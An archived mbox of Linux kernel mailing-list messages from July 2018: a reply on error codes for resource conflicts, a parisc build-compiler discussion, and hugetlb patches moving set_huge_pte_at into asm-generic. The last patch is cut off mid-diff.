 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 8E8ECBD10;
 Wed,  4 Jul 2018 04:18:41 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id 73930111C482;
 Wed,  4 Jul 2018 04:18:37 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <CAHp75VeEjhcYF4Fy4O_srdv_nEGGjGwAHhZufscB_tiLQVQ=FQ-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.1]); Wed, 04 Jul 2018 04:18:41 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.1]);
 Wed, 04 Jul 2018 04:18:41 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10608 gmane.linux.drivers.devicetree:277712 gmane.linux.kernel.pci:73735 gmane.linux.kernel.input:61882 gmane.linux.ports.parisc:28718 gmane.linux.kernel.kexec:21078 gmane.linux.kernel:2810988 gmane.linux.ports.ppc64.devel:159592
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10608>

On 07/03/18 at 11:57pm, Andy Shevchenko wrote:
> On Tue, Jul 3, 2018 at 5:55 PM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
> > On 06/12/18 at 05:24pm, Andy Shevchenko wrote:
> >> On Tue, Jun 12, 2018 at 5:20 PM, Andy Shevchenko
> >> <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org> wrote:
> 
> >> > I briefly looked at the code and error codes we have, so, my proposal
> >> > is one of the following
> >>
> >> >  - use -ECANCELED (not the best choice for first occurrence here,
> >> > though I can't find better)
> >>
> >> Actually -ENOTSUPP might suit the first case (although the actual
> >> would be something like -EOVERLAP, which we don't have)
> >
> > Sorry for late reply, and many thanks for your great suggestion.
> >
> 
> > I am fine to use -ENOTSUPP as the first returned value, and -ECANCELED
> > for the 2nd one.
> 
> I have no strong opinion, but I like (slightly better) this approach ^^^

Done, post v6 in this way, many thanks.

> 
> > Or define an enum as you suggested inside the function
> > or in header file.
> 
> >
> > Or use -EBUSY for the first case because existing resource is
> > overlapping but not fully contained by 'res'; and -EINVAL for
> > the 2nd case since didn't find any one resources which is contained by
> > 'res', means we passed in a invalid resource.
> >
> > All is fine to me, I can repost with each of them.
> 
> >> >  - use positive integers (or enum), like
> >> >   #define RES_REPARENTED 0
> >> >   #define RES_OVERLAPPED 1
> >> >   #define RES_NOCONFLICT 2
> 
> -- 
> With Best Regards,
> Andy Shevchenko

From - Thu Nov 08 21:41:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Build regressions/improvements in v4.18-rc3
Date: Wed, 04 Jul 2018 14:56:57 +1000
Lines: 18
Approved: news@gmane.org
Message-ID: <87sh4zlht2.fsf@concordia.ellerman.id.au>
References: <20180702140050.1660-1-geert@linux-m68k.org> <CAMuHMdUHkShW5dT41x06Jz9DUJHim6=Wg6pspgTBJpsoVNphwA@mail.gmail.com> <1fa6b973-33e7-53f8-75bb-92d1e8932813@gmx.de> <87601xgm6a.fsf@concordia.ellerman.id.au> <74980be1-0684-09ef-9e31-cb8f0db13139@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1530680103 27745 195.159.176.226 (4 Jul 2018 04:55:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 04:55:03 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>,
        Helge Deller <deller@gmx.de>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 04 06:54:58 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1faZof-00072o-13
	for glk-linux-kernel-4@m.gmane.org; Wed, 04 Jul 2018 06:54:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932684AbeGDE5E (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 4 Jul 2018 00:57:04 -0400
Original-Received: from ozlabs.org ([203.11.71.1]:35661 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932258AbeGDE5D (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 4 Jul 2018 00:57:03 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 41L7y51w7wz9s52;
        Wed,  4 Jul 2018 14:57:01 +1000 (AEST)
Authentication-Results: ozlabs.org; dmarc=none (p=none dis=none) header.from=ellerman.id.au
In-Reply-To: <74980be1-0684-09ef-9e31-cb8f0db13139@bell.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2811006 gmane.linux.ports.parisc:28719
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2811006>

John David Anglin <dave.anglin@bell.net> writes:

> On 2018-07-02 9:09 PM, Michael Ellerman wrote:
>> It's GCC 4.6.3. Are you saying that's not supported anymore?
> See <https://gcc.gnu.org/> for supported releases.

Thanks, but I mean "supported by the parisc Linux port".

Allegedly the kernel builds with GCC 3.2:

  https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/Documentation/process/changes.rst#n32


But in reality each arch has a different minimum version they actually
care about.

cheers


From - Thu Nov 08 21:41:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Build regressions/improvements in v4.18-rc3
Date: Wed, 04 Jul 2018 14:59:18 +1000
Lines: 31
Approved: news@gmane.org
Message-ID: <87po03lhp5.fsf@concordia.ellerman.id.au>
References: <20180702140050.1660-1-geert@linux-m68k.org> <CAMuHMdUHkShW5dT41x06Jz9DUJHim6=Wg6pspgTBJpsoVNphwA@mail.gmail.com> <1fa6b973-33e7-53f8-75bb-92d1e8932813@gmx.de> <87601xgm6a.fsf@concordia.ellerman.id.au> <b7c41645-f694-4763-4cc3-f7abb0c2432b@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1530680239 6535 195.159.176.226 (4 Jul 2018 04:57:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 04:57:19 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 04 06:57:14 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1faZqr-0001ai-Rm
	for glk-linux-kernel-4@m.gmane.org; Wed, 04 Jul 2018 06:57:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932836AbeGDE7V (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 4 Jul 2018 00:59:21 -0400
Original-Received: from ozlabs.org ([203.11.71.1]:51183 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932258AbeGDE7U (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 4 Jul 2018 00:59:20 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 41L80k4WCZz9s4c;
        Wed,  4 Jul 2018 14:59:18 +1000 (AEST)
Authentication-Results: ozlabs.org; dmarc=none (p=none dis=none) header.from=ellerman.id.au
In-Reply-To: <b7c41645-f694-4763-4cc3-f7abb0c2432b@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2811007 gmane.linux.ports.parisc:28720
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2811007>

Helge Deller <deller@gmx.de> writes:

> On 03.07.2018 03:09, Michael Ellerman wrote:
>> Helge Deller <deller@gmx.de> writes:
>> 
>>> On 02.07.2018 16:09, Geert Uytterhoeven wrote:
>>>> On Mon, Jul 2, 2018 at 4:01 PM Geert Uytterhoeven <geert@linux-m68k.org> wrote:
>>>>> JFYI, when comparing v4.18-rc3[1] to v4.18-rc2[3], the summaries are:
>>>> ...
>>>
>>> Both of the following are simply happening because of old compiler which is being used:
>>>
>>>>> [Deleted 26903 lines about "warning: ... [-Wpointer-sign]" on parisc-allmodconfig]
>> 
>> It's GCC 4.6.3. Are you saying that's not supported anymore?
>> 
>> I can update to 8.1.0 if that's more useful.
>
> Yes, please.
> Any version >= 7.2.1 should be better.

OK, done. It's now using 8.1.0 from kernel.org.

Do you want kisskb to email you build failures for parsic in linux-next
and/or Linus' tree?

It only mails when a config goes from working to broken or vice versa,
so shouldn't be too chatty.

cheers


From - Thu Nov 08 21:41:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 01/11] hugetlb: Harmonize hugetlb.h arch specific defines with
 pgtable.h
Date: Wed,  4 Jul 2018 05:51:57 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20180704055207.27978-2-alex@ghiti.fr>
References: <20180704055207.27978-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530683454 9551 195.159.176.226 (4 Jul 2018 05:50:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 05:50:54 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com, will.deacon@arm.com,
 tony.luck@intel.com, fenghua.yu@intel.com, ralf@linux-mips.org,
 paul.burton@mips.com, jhogan@kernel.org, jejb@parisc-linux.org,
 deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
 davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
 x86@kernel.org, arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jul 04 07:50:48 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1faagh-0002KL-B7
	for linux-arm-kernel@m.gmane.org; Wed, 04 Jul 2018 07:50:47 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=WyEsQ5qdfAuUOkcdIQRF99EBdgZPr6XhhIVVZINC6Uw=; b=kKjL+aCDAL0BMgqmN0oOBCyXUd
	kgbLEbgIJ+eVzE++yFcEPvn1ksgcBxqlfxJO79Pb2d6EymlBxba5dr9qQsXFNlAcn2lm4MifuHy0q
	8Z+9D+Q3BiA23Qsp95ImxTNEldXobdoBZaBGPuuNzxbGGw39pr4L+03jJaVuukMHMAjjU41iaqaC/
	S3hG2KzviOYecSA4DjVzXcWGNJUxbbAj6OKDUqH1D+SzmI6PdI8IgeEWnPycOJJwPXIs162017pqP
	6Rybhq6z5mwNMD7gucMIe5HEytK/nmWKi3FTrDSssIoP5e6z/dtX5vG4E+hVaDf+PAwr4o2rQefTQ
	+fCwhzKQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1faaim-0001TZ-19; Wed, 04 Jul 2018 05:52:56 +0000
Original-Received: from relay5-d.mail.gandi.net ([217.70.183.197])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1faaih-0001Q1-Br
 for linux-arm-kernel@lists.infradead.org; Wed, 04 Jul 2018 05:52:53 +0000
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay5-d.mail.gandi.net (Postfix) with ESMTPSA id DE4191C0004;
 Wed,  4 Jul 2018 05:52:31 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180704055207.27978-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180703_225251_557642_D5BCB710 
X-CRM114-Status: UNSURE (   9.23  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [217.70.183.197 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:660639 gmane.linux.kernel:2811019 gmane.linux.ports.ia64:28871 gmane.linux.ports.mips.general:65224 gmane.linux.ports.parisc:28721 gmane.linux.ports.ppc64.devel:159597 gmane.linux.ports.sh.devel:57133 gmane.linux.ports.sparc:28048 gmane.linux.kernel.cross-arch:44966
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/660639>

asm-generic/hugetlb.h proposes generic implementations of hugetlb
related functions: use __HAVE_ARCH_HUGE* defines in order to make arch
specific implementations of hugetlb functions consistent with pgtable.h
scheme.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm64/include/asm/hugetlb.h | 2 +-
 include/asm-generic/hugetlb.h    | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index e73f68569624..3fcf14663dfa 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -81,9 +81,9 @@ extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 extern void huge_ptep_clear_flush(struct vm_area_struct *vma,
 				  unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTE_CLEAR
 extern void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 			   pte_t *ptep, unsigned long sz);
-#define huge_pte_clear huge_pte_clear
 extern void set_huge_swap_pte_at(struct mm_struct *mm, unsigned long addr,
 				 pte_t *ptep, pte_t pte, unsigned long sz);
 #define set_huge_swap_pte_at set_huge_swap_pte_at
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 9d0cde8ab716..3da7cff52360 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -32,7 +32,7 @@ static inline pte_t huge_pte_modify(pte_t pte, pgprot_t newprot)
 	return pte_modify(pte, newprot);
 }
 
-#ifndef huge_pte_clear
+#ifndef __HAVE_ARCH_HUGE_PTE_CLEAR
 static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 		    pte_t *ptep, unsigned long sz)
 {
-- 
2.16.2

From - Thu Nov 08 21:41:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 03/11] hugetlb: Introduce generic version of set_huge_pte_at
Date: Wed,  4 Jul 2018 05:51:59 +0000
Lines: 180
Approved: news@gmane.org
Message-ID: <20180704055207.27978-4-alex@ghiti.fr>
References: <20180704055207.27978-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530683455 9619 195.159.176.226 (4 Jul 2018 05:50:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 05:50:55 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 04 07:50:48 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1faagg-0002IY-0j
	for glk-linux-kernel-4@m.gmane.org; Wed, 04 Jul 2018 07:50:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933480AbeGDFwy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 4 Jul 2018 01:52:54 -0400
Original-Received: from relay5-d.mail.gandi.net ([217.70.183.197]:45095 "EHLO
        relay5-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932204AbeGDFws (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 4 Jul 2018 01:52:48 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay5-d.mail.gandi.net (Postfix) with ESMTPSA id DD9521C0005;
        Wed,  4 Jul 2018 05:52:41 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180704055207.27978-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2811020 gmane.linux.ports.arm.kernel:660640 gmane.linux.ports.ia64:28872 gmane.linux.ports.mips.general:65225 gmane.linux.ports.parisc:28722 gmane.linux.ports.ppc64.devel:159598 gmane.linux.ports.sh.devel:57134 gmane.linux.ports.sparc:28049 gmane.linux.kernel.cross-arch:44967
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2811020>

arm, ia64, mips, powerpc, sh, x86 architectures use the
same version of set_huge_pte_at, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 6 ------
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 6 ------
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 +++++++-
 10 files changed, 10 insertions(+), 37 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index d4014fbe5ea3..398fb06e8207 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4af1a800a900..874661a1dff1 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -60,6 +60,7 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 				struct page *page, int writable);
 #define arch_make_huge_pte arch_make_huge_pte
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index afe9fa4d969b..a235d6f60fb3 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 53764050243e..8ea439041d5d 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,12 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 28c23b68d38d..77c8adbac7c3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -4,6 +4,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index de46ee16b615..ba7d5d8b543f 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,12 +132,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f6a51b609409..bc552e37c1c9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
